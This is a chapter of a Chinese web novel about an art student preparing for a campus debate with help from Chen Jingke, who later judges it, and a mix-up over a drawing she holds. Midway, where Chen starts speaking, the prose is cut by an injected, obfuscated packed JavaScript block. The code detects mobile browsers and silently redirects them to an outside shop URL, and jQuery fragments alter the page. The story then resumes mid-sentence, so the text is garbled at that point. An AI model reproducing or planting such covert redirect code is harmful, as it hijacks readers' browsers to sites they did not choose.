他们学校的图书馆开放到晚上11点。
阮书从未有过这种感觉。
想给校长办写封建议信。
建设全天图书馆,以满足她的求知欲。
虽然约的是晚上七点,可她六点半就到了二楼。
陈竟轲随后到。
前后分差不过十五。
陈竟轲的个子很高,尽管穿着一件黑色的风衣也难掩比例的优越。
作为一名美术生,人体构造也是她的必修课。
阮书在脑海中构建陈竟轲的轮廓,就连他出现在自己身后也没察觉。
陈竟轲认为阮书这类学艺术的人想象力一定足够丰富。
他已经不是第一次见她发呆了。
“啪嗒”一声响起。
陈竟轲在阮书眼前打了个响指,企图唤醒她的魂。
这一招属实管用,阮书由惊转喜,脸上又开始鲜活起来。
她在动脑筋的时候,眼睛总是亮晶晶,算计人的时候更是。
陈竟轲道:“我只帮你到比赛结束。”
“结束后,你要把那幅画给我。”
这算是他的要求。
阮书肉眼可见地失落,声音弱了两分:“好吧。”
她安慰自己,这种画,她想要多少有多少。
大不了临摹一幅交给陈竟轲,她留原件便是。
一想到还可以这么做,她心情立马又好了些。
这次,她做好了万全的准备,再也不会重蹈上次没有预约在图书馆乱晃的局面。
至少在陈竟轲面前,她要树立一种爱学习的人设。
陈竟轲不是阮书肚子里的蛔虫,不知道她脑子里每天在想写什么。
阮书预约的是最难抢的双人位,是一片半封闭的沙发区。
她预定的位置在最尾处。
这片区域有人在戴着耳机做题,有人在讨论课题,也有人在小声联系英语口语。
软包的棉质靠背保证了部分隐私,阮书先请陈竟轲坐下,自己再坐在他的身边。
陈竟轲先开口问道:“这次遇到的是什么问题?”
他从包里拿出一台笔记本,放在面前的白色圆桌上。
阮书答道:“一辩稿还有一点表述的问题。”
“还有就是,我不太听得懂,他们在说什么。”
这就是阮书遇到的最大的问题。
如果真的在辩论场上,她就会成为最大的bug。
不论能不能选上,她都不想拖后腿。
“他们说的不是人话吗?”
陈竟轲盯着电脑屏幕,他临时要跑一遍实验的测试数据。
阮书虽然很想吐槽某位李姓同学的确不爱说人话,但也看出了陈竟轲现在正在忙,大概是没有功夫陪她开玩笑的。
"他们能从各个角度去猜测对方可能会问的问题及时补充我方的逻辑漏洞,也能推测对方的套路,研究出招……"
但是我总是反应慢一些……
后一句话,阮书没有说出口。
她怕,陈竟轲也会觉得她太蠢了。
陈竟轲把软件挂好后,回应道:“你这不是听得懂吗?”
“啊?”
阮书不明所以。
“你只是还不坚定你的信念。”
“你告诉我,这两个阵营,你更偏向哪队。”
阮书仔细思考后,实话实说:“我觉得都对。”
陈竟轲从风衣口袋里掏出一块硬币。
它被一根灰色的编织绳穿着,阮书一眼便能看出这是自制的。
因为靠近硬币处的纹路有些松散,中间处又偏紧。
编制这条绳结之人估计是个新手。
陈竟轲把这枚硬币放在掌心,问道:
“这一面是什么?”
“花。”
他又把硬币翻转,继续问:
“这一面呢?”
“字。”
阮书乖巧的就像个小学生,认真地回答老师“1+1等于几”的无聊问题。
她还在想,自己要不要端正坐姿,两只手一定要放好,回答问题的时候,要举手,两只手的角度最好呈现直角。
会的问题要举左手,不会的问题要举右手……
她乖乖地等着陈老师的下一个问题。
突然觉得,她也可以画一副他拿着戒尺的图。
一定要戴上上次那副眼镜。
窄框的,银丝边的……
“辩题的正反方就好比硬币的两面。”
“准确的说,他们是一样的东西。”
“但是不管是正方还是反方,当将他们放在掌心之上时,都看不到另一面。”
“所以,辩论的意义是,站在自己的立场上,去看见被压制的另一面,而非绝对的对抗。”
“假设你现在只能看到能者多劳的事例,你要怎么放大这个观点,让它在掌心多待一会。”
“你再想想,这些事例中有没有能验证劳多者能的角度,你要怎么防住这些漏洞,将它压在掌心,不能翻转过来。”
陈竟轲举的例子很生动。
阮书仿佛明白了什么,又仿佛眼前还蒙着一层雾。
陈竟轲看出了阮书的迷茫,轻叹:“思考是自己的事,我只能帮你到这里。”
刚好,电脑上的数据也跑完了。
陈竟轲合上电脑起身。
阮书见陈竟轲要走,也想一起。
两人走到门口时,陈竟轲用钥匙解开了缠在车轮上的锁,对阮书道:“比赛结束后,带着你的画,还给我。”
说罢,便骑着自行车扬长而去,徒留阮书在原地凌乱。
她怎么忘了,陈竟轲有自行车的!
而且,还没有车座!
……
再见到陈竟轲,已经是比赛当天了。
阮书画了一个成熟的妆容,穿上制服。
深蓝色的西服外套里露出白衬衫的领子,下身是同色系的短裙,由于是秋天,她还穿了一条加厚版的光腿神器。
经过这几天的磨合,四人的关系虽说不算至交好友,但还能称得上是默契的队友。
这几天,阮书恶补了几场辩论赛。
有了陈竟轲的指点,她找论据时不再是只为完成任务,开始思考它的正反面。
每有一次新发现,她都想和陈竟轲分享。
不过自从那天以后,陈竟轲对她的消息就只是临睡前的日常回复了。
当然,阮书的进步也被她的小组队员看在眼里。
虽然李涛说话仍然夹枪带棒,但对她做出的成果也多了几分肯定。
上场前,王磊在给大家鼓劲加油。
阮书却在教室外看到了同样正装的陈竟轲。
他的侧脸透过窗户映在阮书的眼中。
她好想,听他说一句,只是一句。
“加油。”
只可惜,现在去找他容易引发舆论。
比如贿赂考官什么的。
他们很快进场,李涛信心十足,他作为三辩,本来就容易出彩。
阮书对拿到最佳辩手没什么执念。
不过一想到陈竟轲会在台下看完全程,她便开始有些紧张。
许昕妍坐在她的身边,敏锐地察觉到她的情绪变化,轻声道:
“别紧张,你就照着我们之前模拟的来。”
“质询的时候我会给你提示的。”
许昕妍指了指他们面前摆着的白纸。
阮书回之一笑,轻声道了句“好”。
一辩陈词,阮书虽然由于紧张大脑开始宕机,但由于这篇稿子她实在熟记于心,除了语速过快,没有其他的问题。
在说完最后一句话时,出于私心,阮书瞥了一眼陈竟轲。
他左手拿着一只钢笔,庄重且严肃地倾听着她的发现。
不知为何,阮书竟有些自豪与骄傲。
她真的做到了。
而他也看到她做到了。
接下来的辩论非常激烈。
他们预先做的假设不是完全无用,但场上局势千变万化。
阮书除了在反方三辩质询之时起身回答过一次,自由辩论环节几乎都是双方三四辩的battle战场。
不过令阮书惊讶的是,一向文静不爱出头的许昕妍不发言则已,一发言便如一头饿狼,死死咬住对方的痛点,逼地反方只能顾左右而言他,逃避问题。
这在辩论赛场上,是大忌。
一场激烈的辩论赛很快便结束。
正反双方势均力敌。
所有人都在关注评委的点评。
阮书也是。
只不过,她在意的只有陈竟轲一人而已。
她很想知道,在陈竟轲眼里,她这个一辩发挥的如何,是否能达到他心中的及格线。
虽然她也知道,这种场合下,评委出于鼓励,所说的都是客套话。
可阮书的心仍旧被台下评委之间递过的话筒所牵动着。
话筒终于从一位老师的手里递交到陈竟轲手中。
他所说的第一句话是:
“方才几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698463|189078||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
位评委老师对各位选手的点评都非常中肯且具有价值,在这里我不再过多赘述。”
阮书的心落了一寸。
紧接着陈竟轲又说:
“我只说这场辩论赛中我印象最深的两名选手。”
阮书的心又提了起来。
虽然明知不太可能,但她仍旧希望能从陈竟轲嘴里听到自己的名字。
“正方二辩——许昕妍。”
“反方三辩——路人甲”
心终于死了。
阮书侧头看着许昕妍。
她溢出来的骄傲彻底感染了她。
让她整个人像泡在醋缸里浸了三天三夜般,方圆十里都能闻到她的酸。
她已无心再听陈竟轲用多少赞美的词汇评价她身边的队友。
可这毕竟是公众场合,她必须得扯出标准的笑容。
尽管,她的鼻头已经开始泛酸。
她第一次,这么不想陈竟轲的声音。
第一次觉得和他同处一片空间是如此难熬。
第一次期待,和他在一起的时间能够快一点,再快一点。
可天不遂人愿,阮书真的觉得她快撑不住了,她的嘴立马就想瘪成一个括弧。
向下的那种。
陈竟轲的评价让她觉得漫长到像穿回了侏罗纪。
她只有和恐龙相处一会儿才能消解自己的负面情绪。
终于到了宣布最佳辩手的时候。
今天这场比赛的最佳辩手将直接代表学校参加今年的辩论赛。
阮书知道自己不该抱有任何希望。
当然现实也如她预测般的不尽她的人意。
不出意料,今天的最佳辩手就是——许昕妍。
这个内敛又强悍的女子,在辩论场上表现绝佳。
就连阮书也觉得,这份荣誉非她莫属。
调理好自身的情绪后,阮书浑浑噩噩地度过了接下来的颁奖,发言等一系列过程。
结束后她只有一个想法。
她要回寝室好好睡个三天三夜。
鬼知道她为了这个辩论赛准备了多久,熬了多少个大夜,甚至有一天她上专业课都调错了颜色。
出于礼貌,她对许昕妍道了句恭喜,她十分开心,将奖状放在包里,对阮书说:“我们的寝室离地近,一起回去吧。”
由于地球公转,秋天的夜来的总要早一些。这才不到六点,外面已经黑透了。
阮书还没有完全建设好自己的情绪,只想自己一个人找个地方疗伤。
本想找个借口拒绝许昕妍,却见她伸手从抽屉里掏出她的包。
一瞬间,手袋里的所有东西散落在地。
当然还有那幅,她先前拿来要挟陈竟轲的那幅画。
许昕妍赶紧蹲下向阮书道歉。
“对不起,对不起,我不是故意的。”
她将地上的东西一一捡起放进阮书的包中。
本来就应陈竟轲心情低落的阮书见自己最看中的东西被不经她同意后碰倒在地,整个人语气开始严厉。
“你别碰,我自己来!”
不知为何,许昕妍开始和她抢着拿那幅画。
她满是做小伏低的姿态,道:“是我不该没经过你同意碰你的东西。我给你捡起来。你原谅我吧。”
两相争抢中,脆弱的塑料袋被撕出裂痕,直到彻底开裂。
本来两个女人的争执就是大众最爱看的戏码,他们身边或有意或无意地聚集着一群人。
而她给陈竟轲的画就这样直白地暴露在大家的视野中。
阮书的羞耻感淹没了她的愤怒,她不敢去看那幅画,只想于人海中找寻陈竟轲的身影。
如果可以,她不愿让他看到自己这般狼狈。
可他是辩论社的元老,又是评委,自然不能先走。
况且,他们之间的所有联系,不都是因为这幅画吗?
如今弄成这样,他该恨死自己了吧。
阮书终于在主席台出发现了看过来的陈竟轲。
她立马从许昕妍手里抢回自己的东西,随意塞进自己的包里,推开人群,跑了出去。
她想,她再也没脸见人了。
直到跑到学校的某条小道上,她才慢慢擦干眼泪,顺着昏黄的路灯,看到自己手里的那幅画。
ε=(??ο`*)))唉?
怎么不是那幅西装捆绑图?
一瞬间,巨大的信息量充斥阮书的大脑,让她顾不得伤心,只有震惊。
所以,陈竟轲的画,究竟去哪儿了?